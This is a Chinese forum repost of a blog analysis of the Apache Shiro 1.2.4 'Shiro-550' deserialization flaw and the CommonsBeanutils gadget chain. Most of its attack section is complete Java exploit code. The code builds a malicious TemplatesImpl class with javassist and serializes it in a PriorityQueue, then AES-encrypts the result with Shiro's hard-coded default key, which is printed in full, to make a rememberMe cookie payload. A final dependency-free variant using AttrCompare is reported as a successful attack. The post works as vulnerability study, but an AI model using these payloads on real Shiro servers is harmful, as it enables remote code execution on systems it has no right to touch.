火影 发表于 2024-5-15 06:07:14

Shiro反序列化分析

前言

Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections的,除此之外还带了一个包叫做CommonBeanUtils,主要利用类就在这个包里
环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>之后tomat搭起来就行了,选择sample-web.warhttps://img2024.cnblogs.com/blog/2746479/202403/2746479-20240321184242101-1677274720.png#height=234&id=H503i&originHeight=726&originWidth=1647&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=531.7142944335938
CB链分析

先回顾一下CC4
* Gadget chain:
*      ObjectInputStream.readObject()
*          PriorityQueue.readObject()
*            PriorityQueue.heapify()
*                  PriorityQueue.siftDown()
*               PriorityQueue.siftDownUsingComparator()
*                     TransformingComparator.compare()
*                         InvokerTransformer.transform()
*                           Method.invoke()
*                                 TemplatesImpl.newTransformer()
*                                     TemplatesImpl.getTransletInstance()
*                                       Runtime.exec()CB链跟CC4的不同点就是从compare开始的,恰恰可以从CommonBeanUtils包里找到BeanComparator这个类
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240321185337480-1421259066.png#height=303&id=v3mju&originHeight=779&originWidth=1352&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=525.7142944335938
主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty属性https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240321185624101-471603893.png#height=162&id=Bl0Zw&originHeight=333&originWidth=1083&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=525.7142944335938
写个demo测试一下
package org.example;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class User {
    private String name;
    private int age;
    public User(String name, int age){
      this.name = name;
      this.age = age;
    }

    public String getName() {
      System.out.println("Hello, getname");
      return name;
    }
    public int getAge() {
      System.out.println("Hello, getage");
      return age;
    }
    public void setName(String name) {
      this.name = name;
    }
    public void setAge(int age) {
      this.age = age;
    }

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
      PropertyUtils.getProperty(new User("F12", 18), "name");
      PropertyUtils.getProperty(new User("F12", 18), "age");
    }
}

// 输出
Hello, getname
Hello, getage这样就可以利用TemplatesImpl中的getOutputProperties方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet类,或则改掉父类的默认值,假如忘了请回顾CC3
依靠:
<dependencies>
      <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
      </dependency>
      <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version>
      </dependency>

      <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
      </dependency>

      <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
      </dependency>
      <dependency>
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.1.1</version>
      </dependency>
</dependencies>package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fis = new FileOutputStream("cb.bin");
      ObjectOutputStream ois = new ObjectOutputStream(fis);
      ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass ct = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
      ct.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "Evil" + System.nanoTime();
      ct.setName(randomClassName);
      ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
      setFieldValue(obj, "_name", "F12");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
      final BeanComparator beanComparator = new BeanComparator();
      final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
      priorityQueue.add(1);
      priorityQueue.add(2);
      setFieldValue(beanComparator, "property", "outputProperties");
      setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
      serialize(priorityQueue);
      deserialize("cb.bin");
    }
}追踪一下链的过程,在PriorityQueue的readObject打个断点,开追,进入heapifyhttps://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324145231012-579636667.png#height=135&id=GiQqN&originHeight=165&originWidth=719&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=589.0000610351562
进入siftDown
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324145318611-1938903553.png#height=150&id=PgLPR&originHeight=257&originWidth=1012&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=588.7142944335938
进入siftDownUsingComparator
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324145404803-348700707.png#height=303&id=s3k75&originHeight=619&originWidth=1199&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=586.7142944335938
进入compare,到达关键点,获取TemplatesImpl的outputProperites属性
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324145458096-1456805520.png#height=290&id=l7dLh&originHeight=701&originWidth=1413&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=583.7142944335938
调用TemplatesImpl.getOutputProperites
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324145754366-1687859706.png#height=230&id=JaCWw&originHeight=330&originWidth=838&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=583.7142944335938
进入newTransformer
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324150004782-1989371405.png#height=327&id=e6OiR&originHeight=662&originWidth=1162&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=574.7142944335938
进入getTransletInstance,到达世界最高城defineTransletClasses
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324150036154-1514125536.png#height=282&id=uODja&originHeight=660&originWidth=1345&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=573.7142944335938
背面就不看了,就是defineClass,至此CB链结束,还挺简单的
Shiro550分析

环境上面已经搭建好了,这里不说了
Shiro550用的其实就是CB链,这里只是有一些细节须要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他天生的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324151936959-1062860516.png#height=141&id=LyUov&originHeight=234&originWidth=1007&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=605.7142944335938
可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324152038504-1323323681.png#height=35&id=d30tM&originHeight=96&originWidth=1659&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=606.7142944335938
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fis = new FileOutputStream("cb.bin");
      ObjectOutputStream ois = new ObjectOutputStream(fis);
      ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass ct = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
      ct.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "Evil" + System.nanoTime();
      ct.setName(randomClassName);
      ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
      setFieldValue(obj, "_name", "F12");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
      final BeanComparator beanComparator = new BeanComparator();
      final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
      priorityQueue.add(1);
      priorityQueue.add(2);
      setFieldValue(beanComparator, "property", "outputProperties");
      setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
      serialize(priorityQueue);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
      AesCipherService aes = new AesCipherService();
      byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
      ByteSource encrypt = aes.encrypt(bytes, key);
      System.out.println(encrypt.toString());
    }
}但是直接报错了,报的是cc中的ComparableComparator的那个错,固然shiro中内置了CommonCollection的一部门,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有,所以寄
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324152919068-758452064.png#height=90&id=CTSKH&originHeight=232&originWidth=1623&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=632.7142944335938
无依靠Shiro550 Attack

关键点在于compare方法,假如不指定comparator的话,会默认为cc中的ComparableComparator
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324154248437-811159334.png#height=367&id=GYoQN&originHeight=801&originWidth=1266&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=579.7142944335938
因此我们须要指定一个Comparator

[*]实现java.util.Comparator接口
[*]实现java.io.Serializable接口
[*]Java、shiro或commons-beanutils自带,且兼容性强
可以找到AttrCompare
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324155616868-390116712.png#height=164&id=t5tck&originHeight=288&originWidth=1009&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=574.7142944335938
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.map.CaseInsensitiveMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.ASCIICaseInsensitiveComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fis = new FileOutputStream("cb.bin");
      ObjectOutputStream ois = new ObjectOutputStream(fis);
      ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass ct = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
      ct.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "Evil" + System.nanoTime();
      ct.setName(randomClassName);
      ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
      setFieldValue(obj, "_name", "F12");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
      final BeanComparator beanComparator = new BeanComparator();
      final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
      priorityQueue.add(1);
      priorityQueue.add(2);
      setFieldValue(beanComparator, "property", "outputProperties");
      setFieldValue(beanComparator, "comparator", new AttrCompare());
      setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
      serialize(priorityQueue);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
      AesCipherService aes = new AesCipherService();
      byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
      ByteSource encrypt = aes.encrypt(bytes, key);
      System.out.println(encrypt.toString());
    }
}成功Attack
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240324155721654-401405546.png#height=386&id=VtHKg&originHeight=1228&originWidth=1925&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=605.7142944335938

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Shiro反序列化分析